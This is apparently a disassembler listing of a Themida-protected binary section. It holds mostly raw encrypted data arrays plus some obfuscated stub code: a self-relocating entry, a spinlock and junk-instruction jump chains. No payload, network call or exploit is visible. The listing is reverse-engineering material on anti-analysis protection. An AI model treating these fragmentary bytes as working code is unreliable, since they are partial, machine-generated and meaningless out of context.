		dd 0A7035CBCh, 0CA81664Fh, 0B85EC9h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0E49BC350h, 298D89CFh, 0B062A08h, 0E4840FC0h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 4152C356h, 8B7DB03Dh, 2A031D95h, 1F88306h
		dd 0FD840Fh, 958B0000h,	62A1BB5h, 0F883B3B3h, 4E840F03h
		dd 0E9000000h, 0Bh, 0A9AB8FBEh,	6515CD7Ch, 0B8A058FCh
		dd 0
		dd 25CD9D8Bh, 0BD8D062Ah, 5B89E0h, 33699D89h, 0E7FF062Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6BC35040h
		dd 51439FBCh, 48EBB9FAh, 1B8E3h, 89600000h, 2A25019Dh
		dd 919D2906h, 61062A25h, 7CD950Bh, 0BD8D062Ah, 5B89E0h
		dd 0B1A3BA66h, 6AE7FFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 84DC65C3h, 0E914D113h, 0Bh, 0B76BF421h
		dd 74E0DC61h, 8D9B4389h, 2A44B9BDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E5C70E4Ah
		dd 57FA8F07h, 12E93Dh, 90040000h, 0BDE702CFh, 49231298h
		dd 68B2ED3Fh, 8EBBECACh, 24CE9h, 0C7A2B600h, 2A4E8885h
		dd 506h, 29958B00h, 0B8062A09h,	5, 0FAD8BB66h, 8D8E9h
		dd 0D3BF0F00h, 0F02F883h, 0FE85h, 5D958B00h, 0B8062A2Ch
		dd 0
dword_55285C	dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 16C35040h
					; DATA XREF: Themida_:0056B19Co
		dd 8D24A331h, 667A8894h, 231FC281h, 840FC00Bh, 75h, 2A99958Bh
		dd 0F883062Ah, 8C840F01h, 89FFFFFFh, 2A0B3D85h,	3F88306h
		dd 0FEDF840Fh, 8D89FFFFh, 62A3259h, 12E9C02Bh, 6E000000h
		dd 221DBF5Bh, 0DE44CA10h, 0A0627C48h, 8070DB12h, 0E0BD8D65h
		dd 6A005B89h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F51BC352h, 7E8E7FFh, 78000000h
		dd 0ECBE05B2h, 958B544Dh, 62A05E5h, 0B1BD8D5Bh,	6A062A46h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 1F4CC357h, 0E943B2C2h, 145h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 36C35242h, 89B5299Ah
		dd 83062A16h, 850F03F8h, 18h, 829BD09h,	0BD8D062Ah, 62A4845h
		dd 66D78B66h, 0E96E22BBh, 101h,	0F05F883h, 1785h, 0E2E28100h
		dd 0E936978Ch, 799h, 6820Fh, 0F3810000h, 347A2D9Dh, 0F06F883h
		dd 3B85h, 0B70F5600h, 0BD8D5BD1h, 62A4A3Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 55C35747h, 89E3ED16h
		dd 2A32818Dh, 0A3E906h,	0B5890000h, 62A2631h, 0F07F883h
		dd 5385h, 31BD0900h, 8D062A23h,	2A00E1BDh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 34C47631h, 1AA5B501h, 0E5E9062Ah, 0E8000000h, 14h, 495EC5C0h
		dd 7828DFACh, 9019AF08h, 0FB08C4CAh, 3BCBE583h,	5A95C380h
		dd 0F0AF883h, 3885h, 0E58D8900h, 8D062A22h, 2A4C35BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 7F303145h, 6E9DA8Bh, 29000000h, 2A28AD8Dh
		dd 8AF55706h, 8C20B9D3h, 8B664D31h, 3F83D1h, 4E840Fh, 95890000h
		dd 62A1045h, 6E80F30h, 80000000h, 0F1B7FBCCh, 119D23A4h
		dd 5A062A08h, 0B529C9D1h, 62A0CDDh, 51006A47h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 8DC89CBAh
		dd 0FFAFE9F0h, 0BD89FFFFh, 62A0555h, 50006A5Fh,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 833F7FDCh
		dd 7ADE8089h, 4E31BD89h, 6A062Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 13BE62C3h, 4A33DB73h
		dd 2A599D01h, 8D8D062Ah, 62A23C1h, 0A6DA8166h, 8E96012h
		dd 42000000h, 8C7AABAAh, 613211B2h, 2895B5FFh, 0D68B062Ah
		dd 0B499529h, 858D062Ah, 62CAD6Ch, 47BD8D50h, 8D062A56h
		dd 2A6DF48Dh, 1ABCB806h, 0CF2B5483h, 0C8D00730h, 0F8754947h
		dd 6D60B58Dh, 8D8D062Ah, 62A6E0Ch, 0A4F3CF2Bh, 0B8C933h
		dd 0B000000h, 834674C0h, 2A1275BDh, 6740006h, 239595FFh
		dd 0B58B062Ah, 62A4E31h, 0AD6C858Dh, 0D0FF062Ch, 444E858Dh
		dd 0D0FF062Ah, 9F185C7h, 1062Ah, 0A58B0000h, 62A3375h
		dd 1FE5B58Bh, 0AD8B062Ah, 62A06A5h, 0CC2C033h, 99B58900h
		dd 66062A2Ch, 0F36EE381h, 1061952Bh, 0F680062Ah, 51BD8323h
		dd 62A18h, 13840Fh, 81660000h, 0FFBC84C3h, 2A170195h, 0F1BD0106h
		dd 0B6062A27h, 0D1BD832Ah, 62A1Bh, 17F850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 9D23CBC3h, 62A0C85h,	3415BD83h, 0F01062Ah, 15085h, 81665300h
		dd 5A5E56F2h, 2D55BD83h, 0F00062Ah, 13C84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A507AB7Dh, 256367BFh, 8D890D91h, 62A1641h, 4E84BD83h
		dd 0F00062Ah, 10484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8D25B8FAh, 2CAD6C85h
		dd 1DBD3106h, 8B062A0Ch, 2A4E31B5h, 6ADCBA06h, 0D0FF793Ch
		dd 7799D89h, 85C6062Ah,	62A27C9h, 0F5952954h, 68062A09h
		dd 98896656h, 9E240481h, 6A66C558h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0CBEAC353h
		dd 1EF8BCF6h, 0D8D9503h, 0B5FF062Ah, 62A231Dh, 0AE8h, 0C5AF2400h
		dd 0D0754363h, 0F32BD71h, 8D5BD8BFh, 2A3BBF85h,	0D0FFFC06h
		dd 8E9h, 22C5700h, 0A78F6AD6h, 0BB006ADBh, 5AB23ABCh, 5360FF6Ah
		dd 5ECBB70Fh, 2C959589h, 0FF61062Ah, 6D8529D0h,	3062A1Fh
		dd 2A14A59Dh, 5B5FF06h,	6A062A2Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9091C352h
		dd 8BC7EDB2h, 9595FFDFh, 89062A28h, 2A323D9Dh, 31B58B06h
		dd 6A062A4Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0E298C350h, 858971B3h,	62A1385h
		dd 71858953h, 5A062A14h, 0AE8C3h, 4CAF0000h, 0E5FDB3AEh
		dd 0E42CE1C5h, 0DB609ABBh, 0B58B5B41h, 62A0F59h, 28C0Fh
		dd 0BEB30000h, 0F60BCEB2h, 2F840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0C270CDC3h
		dd 0F91DD4A7h, 5EDA80EDh, 8B0006C6h, 2A282595h,	39858906h
		dd 8B062A4Eh, 2A15B99Dh, 0F88306h, 3D2840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0A02550C3h, 0D0D6C8BFh, 0E7D28166h, 5BBA6650h, 0B897h
		dd 85890000h, 62A2C2Dh,	0F00F883h, 12184h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0F952DAA4h, 23CB805Bh, 0F02F883h, 9185h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0DE934AAh, 0E0000000h, 96A63430h, 12E7E1CEh,	53639528h
		dd 44B4858Dh, 6A062Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 2BDAA7C3h, 0B82A8604h, 14B288F5h
		dd 9292Dh, 65958B00h, 90062A16h, 0E8DAE4BAh, 6A905002h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0C3B1C357h, 1B5D8529h, 0B8062Ah, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0E78DC352h, 0D024888Eh, 5898D89h,	9D23062Ah
		dd 62A0F75h, 29FE9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 49A58143h, 9E9h, 0D6548C00h
		dd 0CC95C304h, 1B8FE7Eh, 0E8000000h, 7,	30933F8Fh, 890DBCC1h
		dd 2A0D11BDh, 0BD8D5A06h, 62A44B9h, 1995958Bh, 0CAE9062Ah
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0B6BEC350h, 92E8EF42h,	11AD9D8Bh
		dd 0F883062Ah, 3A850F02h, 8B000000h, 2A2A6595h,	0B1BD8D06h
		dd 6A062A46h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0F21DC355h, 1A95BD89h,	66E9062Ah
		dd 81000000h, 17F2D7CAh, 3F8833Dh, 3F850Fh, 8D890000h
		dd 62A0039h, 4845BD8Dh,	958B062Ah, 62A1185h, 40E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h
		dd 1D04h, 0C3504000h, 8745BD82h, 0A6FDFA1Dh, 8B66DD0Dh
		dd 5F883D7h, 0F850Fh, 0D38B0000h, 9CE9h, 952B5700h, 62A3241h
		dd 958B575Bh, 62A320Dh,	318C20B9h, 6810F4Dh, 89000000h
		dd 2A0A6185h, 3F8306h, 73840Fh,	0BD010000h, 62A2979h, 6A0F30h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 4D4182C3h, 0F607A657h, 8B5E2190h, 2A03719Dh,	6AC9D106h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 1002C353h, 781BC8EAh, 958B4785h, 62A1AB9h
		dd 8E9h, 6AF9C000h, 0AE5A6998h,	0FF87E951h, 0BF0FFFFFh
		dd 5F883D7h, 0E2850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0EB7851C3h, 2CB32FD9h
		dd 0FE1663Eh, 0C80h, 6880F00h, 8B000000h, 2A08B59Dh, 0D98C6606h
		dd 841FF3BAh, 4C1F63Bh,	84850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 4103CC3h
		dd 8D896055h, 62A149Dh,	0AB0EBE66h, 0B861h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 41937EC3h, 57412C6Ch, 38E0FCAh, 80000000h, 39E908C7h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 7FC356h, 0B105074Bh, 858B2D21h
		dd 62A19BDh, 59C38153h,	5A472A33h, 9D8BE0FFh, 62A0719h
		dd 2895BD83h, 0F00062Ah, 0F085h, 50D08B00h, 8B240489h
		dd 2A27B59Dh, 0C985C606h, 45062A27h, 0DE568F9h,	0DF8B23D3h
		dd 84240481h, 0E86A9F5Bh, 14h, 9D383432h, 8A1779C6h, 0C55C7E3Ah
		dd 0B82F18F2h, 4B3D8A00h, 9B5958Bh, 0F5B062Ah, 0B5FFD0B7h
		dd 62A231Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	9FC35646h, 0B0AC8C1Ch, 0BA1C5352h, 4D403856h, 0CD8305BAh
		dd 0BF858D23h, 89062A3Bh, 2A0F558Dh, 6AD0FF06h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0FBFEC355h, 57FDC5E9h, 0BA66CD96h, 8589B2D6h, 62A2895h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 63C35646h
		dd 29A1F30Bh, 1B1DEE89h, 0DE97Fh, 0C6490000h, 3E0FA26Dh
		dd 627F69E7h, 58FBAB51h, 0D2B70F52h, 88BD835Ah,	62A4Eh
		dd 20840Fh, 95890000h, 62A1375h, 2B05B5FFh, 8B52062Ah
		dd 2A25919Dh, 95FF5A06h, 62A2895h, 2E15BD89h, 0F883062Ah
		dd 0B4850F00h, 8B000000h, 2A1ED59Dh, 39BD8306h,	62A08h
		dd 52840Fh, 890F0000h, 1Dh, 13E860h, 513C0000h,	0FAFE52BDh
		dd 27B65D50h, 3FE52F9Bh, 43542769h, 5F505BF4h, 619D2361h
		dd 0FF062A00h, 2A0839B5h, 958B6006h, 62A16C1h, 8B0Fh, 0B8610000h
		dd 1, 0A731CA81h, 0D0E93D7Fh, 66000001h, 0A55ED281h, 2B05B5FFh
		dd 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 947B51C3h, 175EABAEh, 0D78A4159h,	2B05B5FFh
		dd 0B531062Ah, 62A1889h, 2895B5FFh, 8D89062Ah, 62A20A1h
		dd 182E9h, 0ADB52900h, 5F062A32h, 1734AABBh, 51BD8316h
		dd 62A00h, 0AA850Fh, 0BD010000h, 62A1189h, 27C985C6h, 6A4D062Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0D9DCC357h, 0EC2771FAh, 0DE8B6664h, 6800Fh
		dd 85290000h, 62A2161h,	3160CB68h, 81D78B31h, 15DD2404h
		dd 6A7304h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8025EEC3h, 0B5FF2CC7h, 62A334Dh, 1B519D03h
		dd 0DBB062Ah, 8D0D7AD3h, 2A3BBF85h, 0FFC0B206h,	0AD958BD0h
		dd 89062A07h, 2A005185h, 38F0F06h, 80000000h, 890FFCD2h
		dd 8, 28B0Fh, 0ECB70000h, 0B8h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 505A3E0h, 95237A37h
		dd 62A2159h, 68D0Fh, 9D8B0000h,	62A22D9h, 8980F780h, 2A4E31BDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0B6DD6DFh, 11840FC0h, 89000000h,	2A24B985h
		dd 4DE906h, 0BD890000h,	62A1EB1h, 2895B5FFh, 6A062Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0E0D719C3h, 65C4AD99h, 6840Fh, 958B0000h, 62A27C5h
		dd 0AD6C858Dh, 0BD89062Ch, 62A2215h, 24048950h,	50DF8B66h
		dd 47BD8D56h, 8D062A56h, 2A780C8Dh, 23BCB806h, 0CF2B7483h
		dd 0C8D00730h, 0F8754947h, 0BD83585Eh, 62A0839h, 8B067400h
		dd 2A0ED18Dh, 0B8C93306h, 0
		dd 840FC00Bh, 0A8h, 1275BD83h, 7400062Ah, 9595FF06h, 0B8062A23h
		dd 0
		dd 975C00Bh, 4E39BD83h,	7401062Ah, 39BD8309h, 2062A4Eh
		dd 0B58B0E75h, 62A4E31h, 0AD6C858Dh, 0D0FF062Ch, 1851BD83h
		dd 7400062Ah, 195FF06h,	8D062A17h, 2A444E85h, 83D0FF06h
		dd 2A2CB9BDh, 2F750206h, 3375A58Bh, 858B062Ah, 62A0839h
		dd 0C7240489h, 2A09F185h, 106h,	35B58B00h, 8B062A4Eh, 2A06A5ADh
		dd 1B806h, 0CC20000h, 0C700EB00h, 2A09F185h, 106h, 75A58B00h
		dd 8B062A33h, 2A1FE5B5h, 0A5AD8B06h, 33062A06h,	0CC2C0h
		dd 1851BD83h, 7400062Ah, 1BD830Fh, 62A17h, 95FF0674h, 62A1701h
		dd 4E31B58Bh, 56C3062Ah, 2B8D958Bh, 525B062Ah, 0AE9h, 3628AD00h
		dd 1C6F5h, 5BA24BBDh, 952BD22Bh, 62A19D5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_5536A0
; ---------------------------------------------------------------------------


loc_55369E:				; CODE XREF: Themida_:005536A3j
		inc	eax
		inc	edi


loc_5536A0:				; CODE XREF: Themida_:0055369Cj
		cmp	byte ptr [edi],	0
		jnz	short loc_55369E
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5536CF
; ---------------------------------------------------------------------------


loc_5536AC:				; CODE XREF: Themida_:005536D1j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5536C4
; ---------------------------------------------------------------------------


loc_5536C1:				; CODE XREF: Themida_:005536C7j
		mul	ebx
		dec	esi


loc_5536C4:				; CODE XREF: Themida_:005536BFj
		cmp	esi, 0
		ja	short loc_5536C1
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5536CF:				; CODE XREF: Themida_:005536AAj
		or	eax, eax
		jnz	short loc_5536AC
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh,	0B7h, 0D2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0A9C35040h
		dd 0D38B66BAh, 0ADE9C18Bh, 60000001h, 2424748Bh, 28247C8Bh
		dd 8A80B2FCh, 7884606h,	2BB47h,	0D2020000h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFE283h, 0FD202FFh, 585h, 46168A00h, 830FD212h
		dd 6Ah,	0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h
		dd 0FD20200h, 585h, 46168A00h, 0C013D212h, 850FD202h, 5
		dd 1246168Ah, 2C013D2h,	5850FD2h, 8A000000h, 0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 6840FC0h
		dd 57000000h, 78AF82Bh,	4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0BBC32BFFh
		dd 1, 34850Fh, 1B90000h, 2000000h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C913h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFDE82h, 0F78B56FFh, 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh
		dd 68A08E0h, 0B9E88B46h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	3DFFFFh
		dd 0F00007Dh, 2283h, 5003D00h, 820F0000h, 0Eh, 0F78B5641h
		dd 0A4F3F02Bh, 0FEB4E95Eh, 0F883FFFFh, 3870F7Fh, 83000000h
		dd 8B5602C1h, 0F3F02BF7h, 9BE95EA4h, 8AFFFFFEh,	0C9334606h
		dd 0F01E8C0h, 1784h, 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h
		dd 0E9000000h, 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h
		dd 929BAh, 2896E900h, 3F0002h, 25Bh, 0E0BF0000h, 0C505005Ch
		dd 28005Ch, 0FF6C025Bh,	0E0BF0012h, 202005Ch, 20000h, 10000h
		dd 60000h, 0BD740000h, 0FA2Ah, 4 dup(0)
		dd 0BE900000h, 3C650055h, 0F5930055h, 481D0055h, 0DF420055h
		dd 56C30055h, 457D0055h, 40AA0055h, 0E08D0055h,	0C6A20055h
		dd 5D700055h, 9CA80055h, 0CA0C0055h, 57940055h,	0FE9F0055h
		dd 0D4A80055h, 0DB770055h, 0C1250055h, 50AF0055h, 0B4120055h
		dd 0FE520055h, 71310055h, 0ED620055h, 6DC50055h, 0D0F60055h
		dd 0FB300055h, 8C000055h, 0F0560055h, 0FFD00055h, 0C5460055h
		dd 5ED50055h, 0B14E0055h, 0D5EE0055h, 0BEE90055h, 85420055h
		dd 41CB0055h, 8DE80055h, 7CCB0055h, 77EA0055h, 0C26B0055h
		dd 9D200055h, 9F660055h, 6B9D0055h, 5FC20055h, 0C3B00055h
		dd 5C7E0055h, 4CC90055h, 0B3B30055h, 0A14D0055h, 0D7120055h
		dd 0CA990055h, 0E2EA0055h, 0CCD20055h, 6F320055h, 0B7A60055h
		dd 34A0055h, 0C6510056h, 0A7F50055h, 0CFA40055h, 0A8A70055h
		dd 0B2790055h, 8F9B0055h, 0A5D00055h, 0B5370055h, 8CEA0055h
		dd 40B10055h, 74F30055h, 61F60055h, 70990055h, 40E80055h
		dd 6D350055h, 3B40055h,	0D2670056h, 0A6A60055h,	9C530055h
		dd 8DBA0055h, 0BDC30055h, 0E9B10055h, 63AA0055h, 73190055h
		dd 0DB3A0055h, 95480055h, 8B1A0055h, 0F9EA0055h, 0F7F10055h
		dd 4B240055h, 53A30055h, 0A04E0055h, 3F190055h,	6EF80055h
		dd 0CEBC0055h, 870E0055h, 8FB40055h, 894D0055h,	7D220055h
		dd 4FB00055h, 0AC170055h, 8DA30055h, 831E0055h,	4D3E0055h
		dd 0C38B0055h, 88AF0055h, 0A7460055h, 0CD150055h, 0C12D0055h
		dd 4BF50055h, 865D0055h, 0F2440055h, 6FA60055h,	80E80055h
		dd 0E2990055h, 5C550055h, 0B0A90055h, 65680055h, 0AD720055h
		dd 0B2F00055h, 0FF700055h, 93180055h, 521C0055h, 683C0055h
		dd 0C7730055h, 0C1540055h, 5B180055h, 45090055h, 0F1AC0055h
		dd 0B2A80055h, 468C0055h, 0DCE80055h, 4A2B0055h, 0B51F0055h
		dd 885B0055h, 0AE820055h, 56620055h, 65E30055h,	97A90055h
		dd 6E6B0055h, 0BD4A0055h, 79A20055h, 51B80055h,	0A7050055h
		dd 63710055h, 0E35D0055h, 0DF730055h, 0FA800055h, 54C70055h
		dd 98D00055h, 0B8140055h, 0BE320055h, 498A0055h, 0C2F30055h
		dd 92780055h, 0CA650055h, 0D6B10055h, 0AC9E0055h, 0D5140055h
		dd 0D6E50055h, 0E9600055h, 66880055h, 1930055h,	0EC160056h
		dd 62340055h, 0DDA20055h, 0F5EA0055h, 0BD380055h, 0E32D0055h
		dd 65D70055h, 46F70055h
		db 55h,	0
; ---------------------------------------------------------------------------


loc_553B9E:				; CODE XREF: Themida_:005769FFj
					; Themida_:00580FBAj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62A7E32h
		mov	eax, edi
		add	edi, 62A7B4Ah
		cmp	eax, [edi+2Ch]
		jnz	short loc_553BBC
		jmp	short loc_553BCF
; ---------------------------------------------------------------------------


loc_553BBC:				; CODE XREF: Themida_:00553BB8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_553BCB
; ---------------------------------------------------------------------------


loc_553BC6:				; CODE XREF: Themida_:00553BCDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_553BCB:				; CODE XREF: Themida_:00553BC4j
		or	ecx, ecx
		jnz	short loc_553BC6


loc_553BCF:				; CODE XREF: Themida_:00553BBAj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_553BDC:				; CODE XREF: Themida_:00553BE3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_553BDC


loc_553BE5:				; CODE XREF: Themida_:00554634j
					; Themida_:0055576Bj ...
		lodsb
		push	614Dh
		mov	[esp], ecx
		mov	ch, 0CEh
		jmp	loc_55DEA5
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 0EEBB5300h, 4B27714Ah,	12E2E9h, 0CB015E00h, 0E8AE9h
		dd 4F58100h, 1E85376h, 0FF535DEBh, 0E9042474h, 406Fh, 81E28952h
		dd 4C2h, 22B26800h, 9FE90000h, 0E9000033h, 0FFFFFFA9h
		dd 83240C8Ah, 0D1F604C4h, 0E980C1FEh, 8E1C0F8h,	48B450h
		dd 1EE958E1h, 28000032h, 5A3304D0h, 27B45066h, 68F0E9h
		dd 0C8B6600h, 6CE95724h, 8B000055h, 0C4832414h,	24048F04h
		dd 48B665Ch, 4DE95624h,	0E9000072h, 0FFFFFF5Dh,	2474FF50h
		dd 48F5804h, 989E924h, 45A0000h, 9EABE9E4h, 0EB800000h
		dd 2434FF18h
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55472E
; ---------------------------------------------------------------------------


loc_553CB3:				; CODE XREF: Themida_:0055F4B8j
		add	ecx, 6ACC1001h
		add	ecx, 19A45050h
		pop	ebp
		push	edi
		jmp	loc_554753
; ---------------------------------------------------------------------------
		dw 0D731h
		dd 0F757FA31h, 3C8B2414h, 80B5E924h, 0EC830000h, 2F77E904h
		dd 34890000h, 6D69E924h, 87550000h, 0D7F7243Ch,	2474FF57h
		dd 653AE904h, 3C870000h, 24248B24h, 4B30F66h, 0DEE99C24h
		dd 4EFFFFFEh, 1926EE81h, 0C68129EDh, 0E2588274h, 15EF129h
		dd 3C8759CFh, 24248B24h, 0F66E9F6h, 70E9CCB6h, 890000B4h
		dd 0E2892414h, 1443BE56h, 0DEF72497h, 8703E6C1h, 31D1F7CEh
		dd 0E9F131CEh, 9B97h
; ---------------------------------------------------------------------------


loc_553D48:				; CODE XREF: Themida_:0055FB2Bj
		mov	edx, esp
		add	edx, 4
		jmp	loc_55816A
; ---------------------------------------------------------------------------


loc_553D55:				; CODE XREF: Themida_:0055BB02j
		pop	ecx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	4B97h
		mov	[esp], edi
		mov	edi, 21F117BAh
		push	edi
		jmp	loc_559C05
; ---------------------------------------------------------------------------


loc_553D70:				; CODE XREF: Themida_:0055DD89j
		sub	ebx, 75C4780Ch
		add	ebx, eax
		push	ebp
		mov	ebp, 12A26B96h
		sub	ebp, 9CDDF38Ah
		add	ebx, ebp
		pop	ebp
		jmp	loc_55B861
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 5C241487h, 5266D800h,	0F0004EB6h
		dd 0AA7EE9h, 59CB8900h,	0E2BD5550h, 4D250106h, 21B4ED81h
		dd 0EC834D7Bh, 24148904h, 1BAh,	5AD52900h, 0DFA1F581h
		dd 6C29EAB6h, 2C8B0424h, 125B6824h, 2C890000h, 81E58924h
		dd 4C5h, 4C58300h, 0E9242C87h, 0AE1Ah, 560EBD66h, 0B9665166h
		dd 166177Ch, 665966CDh,	6603EDC1h, 70EEE950h, 148B0000h
		dd 4C48324h, 8B66C828h,	0C483240Ch, 1609E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553E1E:				; CODE XREF: Themida_:00555E9Fj
		sub	edx, ebp
		sub	edx, 4EC42297h
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		db 59h
		dd 3C8BF901h, 4C48124h,	87000000h, 0FF5C240Ch, 0FDA3E930h
		dd 0E951FFFFh, 3975h
; ---------------------------------------------------------------------------


loc_553E48:				; CODE XREF: Themida_:0055D2C1j
		add	ebp, 546729FEh
		add	ebp, ecx
		push	edi
		jmp	loc_555947
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 0FFFFFF2Dh, 0BE7BE9FFh, 248B0000h, 24148924h, 0A267C5BAh
		dd 0F2814234h, 34A267C2h, 1AE7BE56h, 0F6816164h, 5A0354B3h
		dd 4C10E9h
		db 0
; ---------------------------------------------------------------------------


loc_553E85:				; CODE XREF: Themida_:00555D04j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_55E561
; ---------------------------------------------------------------------------
		dd 5AF9CD81h, 0E5815AA7h, 460385Ah, 0D104EDC1h,	46F581EDh
		dd 8107F941h, 4D3DDDF5h, 5DE88968h, 68h, 24042900h, 0E9D8F758h
		dd 0A727h, 4EC8151h, 89000000h,	1CE9242Ch
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553EDB:				; CODE XREF: Themida_:0055E49Cj
		pop	edi
		push	ebx
		mov	ebx, 486228A0h
		shr	ebx, 4
		dec	ebx
		jmp	loc_55992F
; ---------------------------------------------------------------------------


loc_553EEB:				; CODE XREF: Themida_:00556185j
		mov	[esp], edx
		mov	edx, 23525B40h
		shr	edx, 5
		inc	edx
		add	edx, 3E13EAB1h
		xor	edx, 6D6E5BF6h
